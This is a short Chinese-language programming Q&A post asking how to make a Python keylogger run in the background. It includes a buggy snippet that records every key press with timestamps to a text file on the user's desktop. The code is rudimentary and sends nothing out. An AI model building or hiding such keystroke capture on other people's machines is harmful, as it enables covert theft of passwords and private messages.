【发布时间】:2020-11-30 21:57:37
【问题描述】:
你能帮忙吗?我尝试制作键盘记录器。我希望键盘记录器在后台运行并允许程序的其余部分继续。键盘记录器卡在一个循环中,并且不执行它之后的代码。 我希望程序在键盘记录器仍在运行时打印 Hello World。 以下代码供参考:
username = os.getlogin()
logging_directory = f"C:/Users/{username}/desktop"
logging.basicConfig(filename=f" {logging_directory}/keylogger.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")
def key_handler(key):
logging.info(key)
with Listener(on_press=key_handler) as Listener:
listener.join()
print('Hello World!')
我正在使用 3 个导入:os、logging 和 Listener。
【问题讨论】: